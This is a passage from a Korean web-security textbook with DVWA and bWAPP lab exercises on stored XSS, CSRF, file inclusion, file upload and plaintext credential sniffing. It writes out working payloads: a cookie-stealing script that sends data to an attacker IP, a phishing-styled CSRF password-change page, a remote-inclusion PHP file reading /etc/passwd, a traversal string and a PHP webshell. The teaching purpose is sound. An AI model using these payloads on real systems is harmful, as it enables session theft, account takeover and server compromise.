크로스 사이트 스크립팅 공격의 다른 종류로는 스토어드 크로스 사이트 스크립팅 취약점 공격이 있습니다. 스크립트가 사용자의 웹 브라우저에서 실행되는 것은 동일하지만 리플렉티드 크로스 사이트 스크립팅처럼 스크립트가 요청을 전송한 시점에 바로 반사되는 것이 아니라, 일단 웹 서버에 저장되었다가 실행되는 차이가 있습니다. 웹 서버에 저장되기 때문에 피싱 과정이 필요 없고, 해당 페이지를 접속하는 모든 사용자가 공격당할 수 있기 때문에 리플렉티드 크로스 사이트 스크립팅에 비해 훨씬 더 심각합니다.

다음 예를 살펴보겠습니다.

그림 5-5-1스토어드 크로스 사이트 스크립팅 공격 예시

  1. 공격자는 웹사이트의 방명록 등에 악의적인 스크립트를 삽입한 글을 남긴다.
  2. 다른 사용자들이 방명록을 방문하여 공격자가 작성한 게시물을 읽는다.
  3. 이때 게시물에 저장되어 있던 스크립트 코드가 사용자에게로 전달된다.
  4. 웹 브라우저는 스크립트 코드를 실행하여 세션 쿠키가 공격자에게 전달 된다.
  5. 공격자는 세션 쿠키를 이용하여 해당 사용자 권한으로 웹사이트를 접속한다.

스토어드 크로스 사이트 스크립팅(Stored XSS) 공격 실습

스토어드 크로스 사이트 스크립팅 공격을 DVWA의 XSS (Stored) 메뉴를 이용하여 실습해 보겠습니다.

실습목표

방명록에 자바스크립트를 삽입하고 방명록을 방문하는 사용자의 쿠키 정보를 획득해 봅니다.

리플렉티드 크로스 사이트 스크립팅 공격 실습 때처럼 칼리 리눅스의 아파치 웹 서버를 실행하고, 접근 로그(access.log)를 모니터링하도록 tail 명령어를 실행해 둡니다.

그림 5-6-1DVWA 스토어드 XSS 실습 페이지

실습 페이지에는 방명록이 구현되어 있고, 이름과 메시지를 남길 수 있도록 되어 있습니다. 메시지 입력란에 리플렉티드 크로스 사이트 스크립팅 센션에서 실행했던것과 마찬가지로 쿠키를 출력하는 스크립트를 삽입해 봅니다.

<script>document.location='http://192.168.75.130/cookie?'+document.cookie</script>

그런데 이 페이지의 방명록에는 최대 글자 수 입력 제한이 되어 있기 때문에 위의 스크립트 전체가 입력되지 않을 것입니다. 다만 이 제한은 클라이언트 측에서 검사하도록 되어 있기 때문에 쉽게 우회할 수 있습니다. 이 실습 페이지의 경우에는 웹 브라우저의 내장 기능을 이용해서도 우회할 수 있습니다.

그림 5-6-2마우스 우클릭 메뉴에서 개발자 도구 실행

방명록의 메시지 입력란에서 마우스 우클릭을 하면 Inspect Element 메뉴가 있습니다. 메뉴를 선택하면 웹 브라우저의 개발자 도구가 실행되고 마우스가 가리키는 부분의 HTML 코드를 확인하고 수정할 수 있습니다.

그림 5-6-3maxlength 제한 때문에 스크립트 입력이 불가능하다.

메시지란의 HTML 코드 내용을 보면 내용길이(maxlength)가 50으로 설정되어 있습니다. 이 설정 때문에 스크립트의 내용이 모두 입력되지 않는 것입니다. 이 값을 변경하면 최대길이 제한 설정을 임시로 우회하여 내용을 원하는 길이만큼 입력할 수 있습니다. 500 정도로 수정하고 다시 입력란에 스크립트를 입력해 봅시다.

그림 5-6-4maxlength를 수정하여 길이 제한 우회

이제 전체 스크립트가 제대로 입력될 것입니다. 입력을 한 후 Sign Guestbook 버튼을 눌러서 글을 작성합니다. 글을 저장하는 순간 다음과 같이 스크립트가 실행됩니다.

그림 5-6-5스크립트 실행 화면

이 실습 페이지의 경우 방명록에 글을 저장하는 순간 글의 내용을 다시 표시해주기 때문에, 리플렉티드 크로스 사이트 스크립팅 취약점과 같이 글을 저장할 때 스크립트가 실행된 것입니다. access.log 파일을 확인해보면 쿠키 정보가 담긴 요청 기록이 새롭게 생성되었을 것입니다.

그림 5-6-6방명록의 스크립트가 실행된다.

그런데 스토어드 크로스 사이트 스크립팅 공격의 경우 여기서 끝이 아닙니다. 이제 방명록에 글이 남겨졌기 때문에 이 다음에 방명록을 보는 모든 사용자가 공격에 당할 수 있습니다.

DVWA를 처음부터 다시 접속한 후 스토어드 크로스 사이트 스크립팅 실습 페이지를 요청하면 스크립트가 또 실행되는 것을 확인할 수 있습니다.

크로스 사이트 요청 변조(CSRF) 공격

CSRF는 Cross Site Request Forgery의 약자로, 우리말로는 '크로스 사이트 요청 변조'라고도 하지만 보통 CSRF라고 부릅니다. CSRF 취약점은 OWASP Top 10 2013의 A8 항목으로 등록되어 있었지만 2017 버전에서는 더 이상 포함되지 않게 되었습니다. 그렇다고 하더라도, 인터넷에는 수년 전 개발된 무수히 많은 웹 애플리케이션들이 서비스되고 있으며, 많은 개발자들이 CSRF 취약점에 대해 잘 알지 못하고 애플리케이션을 개발하기 때문에 여전히 CSRF 취약점이 많이 발견되고 있습니다. CSRF 취약점을 이용한 공격은 2008년에 1080만 명의 개인정보가 유출된 옥션 해킹 사건의 공격 방법 중 하나였습니다.

크로스 사이트 요청 변조(CSRF) 공격 개요

CSRF 취약점의 공격 방법은 공격자가 피싱을 이용하여 공격 대상이 되는 사용자에게 악성 링크를 누르게 하고, 링크를 클릭하면 사용자 모르게 사용자가 로그인되어 있는 웹사이트의 어떤 기능을 실행하는 것입니다. 예상 시나리오 하나를 예로 들면, 공격자가 한 사용자의 패스워드를 본인이 모르는 사이에 변경한 다음, 변경된 패스워드를 이용하여 웹사이트에 접속하는 경우가 있습니다.

CSRF 취약점은 이름의 일부(크로스 사이트)가 동일하고 두 공격 모두 공격 과정에서 피싱을 이용하는 특성 때문에, 리플렉티드 크로스 사이트 스크립팅 취약점과 혼동 할 수 있지만 피싱 이후 진행되는 과정은 완전히 다릅니다.

그림 6-2-1CSRF 공격 예

이 그림은 CSRF 공격을 이용하여 사용자의 패스워드를 변경하는 과정의 공격은 다음과 같이 진행됩니다.

  1. 사용자가 웹사이트에 정상적으로 접속하여 로그인한다.
  2. 사용자가 웹사이트에 로그인되어 있는 동안, 공격자가 이메일을 보내 악성 코드를 포함하고 있는 페이지를 여는 링크를 클릭하도록 피싱을 한다.
  3. 만약 사용자가 링크를 클릭하면, 공격자가 지정한 패스워드로 변경하는 요청이 자신이 이전에 로그인되어 있던 웹사이트로 자동으로 전송된다. 그 결과, 사용자가 모르는 사이에 자신의 패스워드가 변경된다.
  4. 이제 공격자는 변경된 패스워드를 이용하여 해당 사용자의 계정으로 로그인할 수 있게 된다.

CSRF 공격의 특징은 1번 과정이 필수 조건으로 선생되어야 한다는 점입니다. 그래야 3번 과정에서 로그인된 세션 정보가 쿠키 등으로 전달되어 웹사이트가 요청된 기능을 실행하기 때문입니다. 얼핏 생각해보면, 1번 조건을 만족시키기가 쉽지 않아 보입니다. 그런데 실상은 그렇지 않습니다.

요즘 웹 브라우저로 인터넷을 사용할 때를 생각해보면, 대부분의 웹 브라우저가 탭 기능을 지원하고 있고, 많은 인터넷 사용자가 이러한 탭 기능을 편리하게 사용하고 있습니다. 하나의 탭에서 어떤 웹사이트를 로그인하여 사용하다가 로그인한 상태로 그대로 둔 채, 새로운 탭을 열어 다른 작업을 하는 경우를 흔히 볼 수 있습니다. 만일 로그인한 채로 놔둔 웹사이트에 CSRF 취약점이 존재하는 경우, 1번 조건이 성립 되고, 쉽게 CSRF 공격에 당할 수 있습니다. 탭 기능을 사용하지 않을 수는 없는 노릇이고, 일일이 로그인한 웹사이트를 로그아웃하는 것도 번거롭기 때문에 1번 조건을 만족시키는 것은 크게 어렵지 않습니다.

크로스 사이트 요청 변조(CSRF) 공격 실습

실습목표

정상적인 패스워드 변경 페이지를 사용하지 않고, CSRF POC코드를 이용하여 사용자의 패스워드를 변경해 봅니다.

그림 6-3-1DVWA CSRF 실습 페이지

실습 페이지에는 패스워드를 변경하는 폼이 표시됩니다. test라는 패스워드로 변경해 봅니다. 패스워드를 변경할 때 다음과 같은 요청 메시지가 전송됩니다. 버프 스위트 프록시 히스토리 기능을 이용하여 확인할 수 있습니다.

그림 6-3-2패스워드 변경 요청

그림 6-3-2의 요청 메시지 내용을 살펴보면, GET 메소드로 요청이 전송되며, password_new, password_conf 파라미터에 입력한 패스워드가 전달되고, Change 파라미터에는 Change라는 값이 전달됩니다. 그리고 쿠키 헤더에는 PHPSESSID 쿠키와 몇몇 다른 쿠키(보안 레벨과 관련된 쿠키입니다.)가 전달되고 있습니다. 그 외에 별다른 중요한 정보가 없습니다.

즉, 이 요청에는 PHPSESSID 쿠키만 랜덤한 값을 가지고 있을 뿐, 나머지 파라미터, 헤더 정보 등은 모두 지정된 값을 가집니다. 따라서 공격자는 사용자의 랜덤한 PHPSESSID 쿠키 값만 알아내거나 전달시킬 수 있으면 위으 ㅣ파라미터 값들을 포함한 요청 메시지를 생성하여 패스워드를 변경할 수 있게 됩니다. 이 중에서 쿠키를 전달시키기 위한 방법으로 CSRF 공격을 사용합니다.

한편 사용자가 로그인되어 있을 때에는 웹 페이지를 요청할 때마다 쿠키가 웹 브라우저에 의해 자동으로 전달됩니다. 따라서 공격자가 피싱 공격이나 다른 사회 공학기법을 이용하여 해당 사용자로 하여금 로그인된 웹사이트의 링크를 누르게 만들면 쿠키를 전달시킬 수 있습니다. 이러한 이유로 인해 사용자가 로그인되어 있어야 하는 것이 CSRF 공격의 필수 조건이 됩니다. 로그인되어 있지 않다면 쿠키가 전달되지 않아서 공격은 성공할 수 없습니다.

DVWA 실습 페이지를 대상으로 CSRF 공격을 수행하는 HTML 파일의 내용은 다음과 같습니다.

csrf.html
<!-- 
    PoC: CSRF 
    Author: stayp05 (www.secuacademy.com) 
--> 

<html> 
<meta charset="UTF-8"> 
<head> 
</head> 

<script language="javascript"> 

    function poc() { 

        var host='localhost'; 
        
        var req_uri = "http://" + host + 
                      "/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change"; 
        var xmlhttp = new XMLHttpRequest(); 
        
        xmlhttp.open("GET",req_uri,true); 
        xmlhttp.withCredentials = "true"; 
        xmlhttp.send(); 
        
        alert('Done!!'); 
    } 
    
</script> 
    
<body> 
    (CSRF 공격 예제)<br /> 
    이 링크를 누르시면 보안이 강화됩니다!!<br /> 
    <a href="javascript:poc()">Click!</a><br /> 
</body> 
</html>

POC 코드 중에서 크게 주목해야 할 부분은 11~28번째 줄의 스크립트 부분과 이 스크립트를 실행시키기 위한 30~34번째 줄의 <body> 태그 부분입니다.

스크립트 부분에서는 poc()라는 함수를 정의하고 있는데, 17번째 줄에서 그림 6-3-2의 요청 처럼 URL과 파라미터를 똑같이 구성합니다. 이때 패스워드 관련 파라미터는 test 대신 hacker라는 문자열로 변경했는데, CSRF 공격이 성공하면 패스워드가 hacker로 변경되는 것입니다.

18~23번째 줄에서는 자바스크립트의 XMLHttpRequest()를 사용한 AJAX 기법을 이용하여 poc()가 호출될 때 새로운 요청이 전송되도록 만드는데, 그중에서 특히 22번째 줄에서 withCredentials 속성을 true로 설정하여, 요청이 전송될 때 웹 브라우저가 쿠키를 자동으로 같이 전송하도록 만듭니다.

31~33번째 불의 바디 부분에는 피싱을 위한 문구를 삽입하고, 피싱을 당한 사용자가 Click! 링크를 누르면 poc()함수가 실행되도록 만들었습니다.

정리하면, 공격자가 피싱을 하여 사용자가 위 html 파일 안의 링크를 누르게 되면, 그 순간 자동으로 패스워들 변경하는 CSRF 공격 요청이 웹 애플리케이션으로 전달됩니다. 사용자가 DVWA에 로그인되어 있는 경우 쿠키도 자동으로 포함되어 전송되기 때문에, 웹 애플리케이션은 사용자가 로그인되어 있는 것으로 판단하고 요청을 처리하게 되어 패스워드가 변경됩니다.

이 POC 코드 HTML 파일을 칼리 리눅스 웹 디렉터리에 올려서 CSRF 공격실습을 해보겠습니다. 그 전에 먼저 gedit나 VI 등의 에디터 프로그램을 사용하여 csrf.html 파일을 열고, 15번 줄의 host를 DVWA의 IP 주소로 변경합니다.

변경한 csrf.html 파일을 웹 디렉터리인 /var/www/html/로 옮깁니다. 그 다음 아파치 웹 서버를 실행하여 csrf.html을 웹으로 접근할 수 있도록 만듭니다.

이제 공격을 당하게 될 사용자 입장에서, 웹 브라우저를 실행하여 DVWA에 로그인을 합니다.

그러고 나서, 새로운 탭을 열고 아래 주소를 입력하여 csrf.html 파일을 엽니다. 사용자가 피싱을 당해 csrf.html 파일을 열게 되었다고 가정하는 것입니다.

http://localhost/carf.html

그림 6-3-3DVWA에 로그인 후 새로운 탭을 생성하고 csrf.html 페이지를 연다.

Click! 링크를 누르면 공격이 실행됩니다. 공격이 실행될 때 화면에 표시되는 Done(완료)이라는 메시지의 창은 편의상 생성한 것으로, 자바스크립트가 실행되었다는 것을 알려주는 것 외에 별다른 의미가 없습니다. 실제 공격이라면 피싱과 관련된 아주 그럴듯한 페이지를 보여줄 것입니다.

이제 버프 스위트의 프록시 히스토리를 보면 다음과 같이 패스워드를 hacker로 변경하는 요청이 전송된 것을 확인할 수 있습니다.PHPSESSID도 전송되고 있습니다.

그림 6-3-4패스워드를 hacker로 변경하는 요청이 전송된다.

이때의 응답 코드(Status 칼럼)가 200으로 표시되었다면 패스워드가 정상적으로 변경된 것입니다. 웹 브라우저에서 DVWA에 로그인했던 탭으로 돌아가서 로그아웃한 후에 패스워드가 hacker로 변경되었다면 CSRF 공격에 성공한 것입니다.

파일 인클루전 공격

파일 인클루전(file inclusion) 공격은 주로 PHP 애플리케이션을 대상으로 발생합니다. PHP는 인클루드라는 기능을 제공하는데, 인클루드 기능은 include라는 함수를 이용하여 다른 파일을 소스코드에 직접 인클루드(포함)시킬 수 있는 기능입니다. 이때 인클루드할 파일을 외부 사용자가 지정할 수 있는 경우 파일 인클루전 취약점이 존재하게 되고, 공격자는 본인이 원하는 파일을 인클루드 시킬 수 있습니다.

파일 인클루전 공격 개요

파일 인클루전 공격은 공격자가 인클루드할 수 있는 파일이 각각 호스트 내부의 파일인지 외부의 파일인지에 따라 로컬 파일 인클루전(Local File Inclusion, LFI)과 리모트 파일 인클루전(Remote File Inclusion, RFI)의 두 종류로 구분할 수 있습니다. 외부에 있는 파일도 원격으로 인클루드할 수 있는 RFI 공격이 더욱 심각한 공격입니다.

그림 7-2-1파일 인클루전 공격 - RFI

그림 7-2-1은 RFI가 이루어질 때의 상황을 보여줍니다. 정상적인 상황에서 웹 애플리케이션이 file.php 를 인클루드합니다. 문제는 file.php가 웹 요청의 page 파라미터를 통해 지정되는 것입니다. 이때 공격자는 file.php 대신에 자신이 관리하는 hacker.com 으로부터 악성 코드 bad.php 를 인클루드할 것을 지정합니다. 만약 웹 애플리케이션이 입력값 검증을 수행하지 않는다면, bad.php 파일을 인클루드하여 실행하게 되는 것입니다.

웹 애플리케이션이 http:// 와 같은 문자열의 입력을 차단하여 RFI에 대해 방어하더라도, 다음과 같이 LFI 공격은 여전히 발생할 수 있습니다.

그림 7-2-2파일 인클루전 공격 - LFI

이 그림에서 공격자는 외부의 파일 대신 서버 호스트 내부의 파일을 인클루드 하려고 시도합니다. 이때 상위 디렉터리의 경로를 의미하는 ../와 같은 문자열을 이용하여 현재의 웹페이지의 경로에서 벗어날 수 있게 됩니다. 만일 ../../../../../와 같이 여러 번 반복하여 입력하게 되면 루트 디렉터리까지 이동할 수 있게 되고, 이후 루트 디렉터리 아래에 있는 모든 다른 경로를 지정할 수 있게 됩니다.

이와 같은 ../를 이용한 공격 기법을 디렉터리 트래버설 공격이라고 합니다.

파일 인클루전 공격 실습

실습목표

원격에 있는 파일을 인클루드하여 해당 파일의 내용을 RFI에 취약한 웹 애플리케이션에서 실행해 봅니다.

bad.php 파일을 /var/www/html 로 이동시키고 아파치 웹 서버를 실행합니다.

bad.php는 RFI를 이용하여 실행할 POC 코드 파일이며 그 내용은 다음과 같습니다.

bad.php
<?php
/*
PoC: Remote File Inclusion
Author: stayp05 (www.secuacademy.com)
*/

echo 'HACKED by RFI<br>';
system("cat /etc/passwd");

?>

아주 간단한 php 코드입니다. 8벉째 줄이 핵심이며 /etc/passwd 파일의 내용을 요청하는 system() 함수를 호출합니다. RFI 공격에 성공하면 시스템 명령을 내릴수 있다는 것을 간단하게 보여주기 위한 코드입니다.

이제 DVWA에서 보안 레벨을 로우 단계로 설정하고, File Inclusion 메뉴를 선택 합니다.

그림 7-3-1파일 인클루전 실습 페이지

실습 페이지에 접속한 후 웹 브라우저의 주소창을 보면 page=include.php 부분이 있습니다. page 파라미터로 지정된 include.php 파일이 인클루드되어 실습 페이지를 표시하도록 구현되어 있는 것입니다.

실습 페이지 중의 file1.php 링크를 누르면, 이번에는 사용자의 ID와 IP 주소를 출력하는 코드가 인클루드되어 실행됩니다.

그림 7-3-2file1.php 인클루드

웹 브라우저의 주소창을 보면 page 파라미터가 file1.php로 변경되어 지정된 것을 확인할 수 있습니다. 마찬가지로 file2.php와 file3.php 링크를 눌러보면 그때마다 page 파라미터의 값이 변경되는 것을 알 수 있습니다.

이 파라미터는 사용자가 주소창을 이용해서도 간단하게 변경할 수 있는데, 한번 외부 호스트의 파일을 인클루드해 보겠습니다. RFI 취약점이 있다면 파일이 실행될 것입니다. page 파라미터가 다음과 같이 되도록 입력하고 요청을 시도합니다.

page=http://192.168.75.130/bad.php

그림 7-3-3RFI 공격 성공

칼리 리눅스에 올려둔 bad.php 파일이 인쿨루드되어 실행되었습니다. bad.php 파일에서 출력한 문자열과 /etc/passwd의 내용이 출력되었습니다. bad.php 파일의 내용을 수정하면 마음껏 원하는 명령을 내릴 수 있을 것입니다.

참고파일 인클루전 공격으로 인클루드 시키고자 하는 파일이 반드시 php 확장자를 가질 필요는 없습니다. 확장자와 상관없이 파일의 내용이 실행될 수 있습니다. 즉 공격자는 php 코드를 내장한 텍스트 파일이나 이미지 파일을 사용할 수도 있습니다. 이러한 이유로 종종 파일 업로드 공격과 조합하여 사용됩니다.

다음으로 LFI 공격을 이용하여 호스트 내부의 /etc/passwd 파일의 내용을 읽어 보겠습니다. 이 파일의 위치는 웹 디렉터리밖에 있으므로 디렉터리 트래버설 공격을 이용해야 합니다. 그림 7-2-2에 표시된 내용처럼 page 파라미터에 다음과 같이 입력해 봅니다.

../../../../../etc/passwd

그림 7-3-4와 같이 /etc/passwd 파일의 내용이 출력됩니다.

그림 7-3-4LFI 공격에 의해 호스트 내부 파일의 내용이 노출된다.

../를 다섯 번 입력한 이유는 파일 인클루전 실습 페이지의 호스트 내 경로가 다음과 같기 때문입니다.

/var/www/html/dvwa/vulnerabilities/fi/index.php

index.php가 위치한 fi 디렉터리는 루트(/) 디렉터리 기준으로 5번째 서브 디렉터리입니다. 따라서 루트 디렉터리의 다른 서브 디렉터리에 위치한 /etc/passwd에 접근하기 위해서는 다섯 번 이상 상위 디렉터리를 호출하여 루트 디렉터리를 거쳐야 합니다.

이와 같은 방법으로 호스트 내부의 파일에 접근할 수 있습니다.

파일 업로드 공격

공격자는 웹 애플리케이션의 파일 업로드 기능을 이용하여 웹쉘이라고 하는 악성 파일을 업로드하고 시스템 명령을 실행할 수 있습니다.

파일 업로드 공격 개요

파일 업로드 취약점은 파일을 업로드하는 기능에 절절한 보안 대책이 적용되어 있지 않을 때 발생합니다. 파일 업로드 기능의 예로는, 게시판에 파일을 첨부하거나, 사용자 프로필에 사진을 업로드하는 것 등이 있습니다. 소셜 네트워크 사이트에서 사진이나 파일을 올리는 것 또한 파일 업로드 기능을 사용한 것으로 볼 수 있습니다.

이러한 파일 업로드 기능을 구현할 때 아무 파일이나 업로드할 수 있게 허용하면, 공격자는 웹쉘(web shell)이라고 하는 악성 파일을 업로드하여 시스템으로 침투해 들어갈 수 있습니다. 웹쉘은 8장 커맨드 인젝션 공격에서 실습한 것과 유사하게 웹을 통해 시스템 명령어를 실행할 수 있는 것과 같이 웹 페이지를 통해 시스템 명령어를 내릴 수 있기 때문에 웹쉘이라는 이름이 붙었습니다.

webshell.php 파일의 내용은 다음과 같습니다.

webshell.php
<?php 

    /* 
    PoC: A simple webshell 
    Author: stayp05 (www.secuacademy.com) 
    */ 

    echo 'Enter a Command:<br>'; 
    echo '<form action="">'; 
    echo '<input type=text name="cmd">'; 
    echo '<input type="submit">'; 
    echo '</form>'; 

    if (isset($_GET['cmd'])) { 
        system($_GET['cmd']); 
    } 

?>

간단한 PHP 웹쉘 코드입니다. 9~12번째 줄은 명령어를 입력받을 수 있는 폼을 제공합니다. 공격자가 입력 폼에 명령을 입력하면 cmd 파라미터($_GET['cmd'])를 통해 전달되고, 15번째 줄의 system()함수를 이용하여 명령어를 실행합니다.

파일 업로드 공격 실습

실습목표

파일 업로드 기능을 이용하여 웹쉘을 업로드하여 명령어를 실행해 봅니다.

그림 8-3-1DVWA 파일 업로드 실습 페이지

실습 페이지에서는 "업로드할 이미지 파일을 선택하시오"라는 메시지와 함께 업로드 할 수 있는 기능이 제공됩니다. 대부분의 사용자들은 이러한 메시지가 있으면 메시지대로 이미지 파일을 업로드 하겠지만, 공격자는 이미지 파일 이외의 파일들도 업로드해 보려고 시도할 수 있습니다.

webshell.php 파일을 업로드해 봅니다. Browse 버튼을 누르고 Downloads 폴더에서 webshell.php를 선택한 후 Upload 버튼을 누릅니다.

그림 8-3-1웹쉘 업로드

이미지 파일이 아닌데도 업로드가 되었습니다. 그림 8-3-1와 같이 업로드에 성공한 메시지가 출력되며, 업로드된 경로를 다음과 같이 보여줍니다.

../../hackable/uploads/webshell.php

경로의 맨 처음의 상위 경로를 의미하는 ../가 두번 사용되었으므로, 현재 주소창에 표시된 URL 경로(/dvwa/vulnerabilities/upload/)를 기준으로 생각해보면 파일이 다음 경로에 업로드된 것을 알 수 있습니다.

http://192.168.75.131/dvwa/hackable/uploads/webshell.php

웹쉘 파일을 실행하기 위해 파일이 업로드된 경로로 접속합니다.

그림 8-3-2웹쉘에 접근 성공

그림 8-3-2와 같이 webshell.php 파일이 실행되어 명령어를 입력받을 수 있는 페이지가 표시됩니다. 페이지에 있는 폼 필드를 통해 다음과 같이 원하는 명령어를 실행할 수 있습니다.

그림 8-3-3웹쉘의 폼을 통해 명령어가 실행된다.

이 자체로도 웹을 통해 명령어 실행이 가능하지만 리버스 쉘 기법 등을 이용하여 터미널에서 쉘을 획득하여 침투해 들어갈 수도 있습니다.

민감한 데이터 노출

민감한 데이터에는 다음과 같은 것들이 포함될 수 있습니다.

  • 각종 개인정보(주민등록번호, 카드 정보뿐만 아니라 건강 정보, 종교, 정치 성향, 가족 구성원 등 모든 사생활 관련 정보 포함)
  • 패스워드, 세션 ID, 세션 토큰 등과 같은 로그인에 사용되는 정보
  • 업무상 기밀 등 비공개로 관리되는 정보

많은 종류의 웹 공격이 이러한 민감한 데이터를 탈취하고자 하는 목적을 가지고 있는데, OWASP Top 10의 민감한 데이터 노출 리스크는 그중에서도 특히 데이터가 적정하게 암호화되지 않거나 평문으로 저장되어 노출되는 경우에 초점을 맞추고 있습니다. 민감한 데이터 노출 리스크는 다음과 같은 상황에서 발생할 수 있습니다.

  • HTTP 프로토콜을 사용하여 민감한 데이터가 전송되는 경우
  • 민감한 데이터가 평문으로 저장되는 경우
  • 안전하지 않은 암호화 방식을 사용하는 경우

HTTP 프로토콜에 의한 노출

초창기의 웹은 주로 80번 포트를 이용한 HTTP 프로토콜을 이용하여 구현되었습니다. HTTP는 웹의 근간이 되는 기술이지만, 애석하게도 현재에 와서는 기본적인 HTTP 프로토콜로 전달되는 요청과 응답 메시지들은 네트워크 스니핑이라고 하는 기법에 의해 도청될 위험이 있습니다. 네트워크 스니핑은 네트워크에 전송되는 데이터들을 모니터링하는 기술입니다. 네트워크 스니핑 프로그램 중에 가장 잘 알려진 프로그램으로는 tcpdump와 와이어샤크(Wireshark)가 있습니다. tcpdump는 CLI 기반의 프로그램이고, 와이어샤크는 GUI 기반의 프로그램입니다.

참고tcpdump는 비단 보안 분야뿐만 아니라 대부분의 네트워크 관련 업무에서 필수적으로 사용되는 명령어이며 많은 옵션들이 있습니다.
실습목표

tcpdump 프로그램을 이용하여 HTTP 프로토콜로 전송되는 사용자 계정 정보를 확인해 봅니다.

칼리 리눅스에서 터미널을 열고 다음과 같이 tcpdump 명령어를 실행하면, eth1 네트워크 인터페이스를 통해 전달되는 요청 메시지와 응답 메시지 중 TCP 포트 80번과 관련된 내용만 표시하도록 할 수 있습니다.

tcpdump -ni eth1 -A -s 0 tcp port 80

이 명령어에 사용된 옵션을 간단히 정리하면 다음과 같습니다.

  • -n : IP 주소나 포트 숫자를 호스트 네임이나 서비스 이름으로 변경하지 않고 숫자 그대로 표시한다.
  • -i : 인터페이스를 지정하는 옵션이다. -i eth1을 하면 eth1 인터페이스를 통해 전달되는 트래픽을 스니핑한다.
  • -A 사람이 알아볼 수 있는 아스키 형태의 문자열로 출력하는 옵션이다.
  • -s 숫자 : 표시할 내용의 길이를 지정한다. -s 0을 사용하면 길이 제한 없이 출력하도록 설정된다.
  • tcp : TCP 프로토콜만 출력하도록 필터링한다.
  • port80 : 80번 포트에 대해서만 출력하도록 필터링한다.

tcpdump 명령어를 실행해둔 채로, 웹 브라우저에서 bWAPP 메뉴 중에서 A6 그룹 아래에 있는 Clear Text HTTP(Credentials) 메뉴를 선택합니다.

그림 9-2-1HTTP 프로토콜 평문 전송 실습 페이지

실습 페이지에는 로그인 폼이 표시되고 있는데, 사용자 정보를 입력하면 입력한 값이 HTTP 프로토콜을 통해 전달됩니다. Login과 Password 입력란에 bee와 bug를 각각 입력하고 Login 버튼을 누른 후 tcpdump에 출력된 내용을 확인해 봅니다.

그림 9-2-2tcpdump로 스니핑한 HTTP 요청

그림 9-2-2와 같이 tcpdump를 통해 POST 메소드의 HTTP 요청이 전달되고 있는 것을 확인할 수 있습니다. 칼리 리눅스의 웹 브라우저에서 bWAPP 요청을 전송하면 사설 네트워크인 eth1 인터페이스를 통해 웹 서버의 80번 포트로 요청이 전달되는데, 이 내용이 tcpdump에 의해 스니핑된 것입니다. POST 요청 메시지의 바디 부분을 보면 login=bee&password=bug와 같은 민감한 사용자 정보가 노출되는 것을 확인할 수 있습니다.

이와 같이 HTTP 프로토콜로 전송되는 데이터는 네트워크 스니핑에 의해 노출될 수 있습니다.

참고이 섹션의 실습은 본인이 직접 전송한 요청을 스니핑한 것이기 때문에 보안상 아무런 의미가 없지만 MITM(Man In The Middle)이라고 하는 중간자 공격을 이용하면 공격자가 네트워크 중간에서 다른 호스트끼리 주고받는 요청과 응답 정보들을 스니핑하여 알아낼 수 있습니다.

웹 스토리지를 통한 노출 실습

실습목표

웹 스토리지에 저장된 민감한 데이터를 크로스 사이팅 공격을 이용하여 확인해 봅니다.

2014년 새롭게 발표된 HTML5의 기능 중에는 웹 스토리지(web storage) 기능이 있습니다. 이 기능은 웹 애플리케이션이 사용자의 웹 브라우저에 데이터를 저장할 수 있는 기능입니다. HTML5 이전에는 쿠키를 이용해서 데이터를 저장해야 했는데, 쿠키에 데이터를 저장하면 다음 두 가지 제약 사항이 있습니다.

  1. 쿠키는 요청 메시지가 전달될 때 자동으로 전송되기 때문에 요청이 일어날 데이터가 전송되어 성능 저하가 발생할 수 있다.
  2. 각 쿠키의 최대 길이는 웹 브라우저에 따라 다르지만 모든 웹 브라우저를 지원하기 위해서는 최대 4093바이트의 크리로 제한해야 한다.

그러나 HTML5에서 새롭게 지원된 웹 스토리지 기능 덕분에, 이제 그보다 더 큰 데이터를 저장할 수 있게 되었으며, 꼭 필요한 데이터가 아니라면 매번 서버로 전달하지 않아도 됩니다.

그런데 웹 스토리지를 사용할 때에는 보안에 더욱 주의를 기울여야 합니다. 웹 스토리지에 저장된 데이터는 자바스크립트를 사용하여 읽을 수 있기 때문입니다. 따라서 만일 웹사이트 어딘가에 크로스 사이트 스크립팅 취약점이 존재하면 공격자가 마음대로 자바스크립트를 실행할 수 있기 때문에, 공격자가 스토리지에 저장된 데이터를 읽을 수 있게 됩니다. 쿠키에 저장된 데이터도 자바스크립트로 읽을 수 있지만 쿠키의 HttpOnly 속성을 이용하여 읽지 못하도록 할 수 있습니다.

한편 웹 스토리지는 세션 스토리지와 로컬 스토리지 두 종류로 구분할 수 있습니다. 세션 스토리지는 세션이 종료되면 데이터도 함께 삭제됩니다. 이에 반해 로컬 스토리지는 세션이 종료되더라도 따로 삭제 요청을 하기 전까지는 데이터가 계속해서 남아 있게 됩니다. 따라서 로컬 스토리지의 경우 더욱 각별히 신경 써야 합니다.

로컬 스토리지에 저장된 데이터를 읽는 실습을 진행하겠습니다. 이 실습에서는 크로스 사이트 스크립팅을 이용하여 로컬 스토리지 데이터를 읽게 됩니다.

실습을 위해 bWAPP A6 그룹에 있는 HTML5 Web Storage (Secret) 메뉴를 선택하여 실습 페이지를 요청합니다.

그림 9-3-1HTML5 웹 스토리지 보안 실습 페이지

실습 페이지에 출력된 내용은 다음과 같습니다.

로그인 이름과 시크릿이 HTML5  웹 스토리지에 저장되었습니다! 
힌트 : XSS를 사용하여 알아내 보세요.

웹 스토리지에 저장된 정보는 웹 브라우저의 개발자 도구(F12) 기능을 이용하여 확인할 수 있습니다. 칼리 리눅스에 기본 설치된 파이어폭스 브라우저의 경우, 처음에는 스토리지(Storage) 탭이 표시되지 않습니다. 이 경우, 아래와 같이 개발자 도구 우측 상단의 톱니바퀴 모양 옵션 아이콘을 누른 후, Storage 체크 박스에 체크를 해주어 스토리지 탭을 표시할 수 있습니다.

그림 9-3-2스토리지 옵션을 체크한다.

스토리지 탭 화면의 왼쪽 부분에서 Local Storage 트리를 펼치게 되면 bWAPP의 IP 주소가 표시됩니다.

그림 9-3-3로컬 스토리지에 저장된 데이터 확인

해당 항목을 선택해보면, login과 secret 정보가 저장되어 있는 것을 확인할 수 있습니다.

앞에서 말했듯이 로컬 스토리지에 저장된 정보는 웹 사이트 어딘가에 크로스 사이트 스크립팅 취약점이 존재하는 경우 접근이 가능합니다.

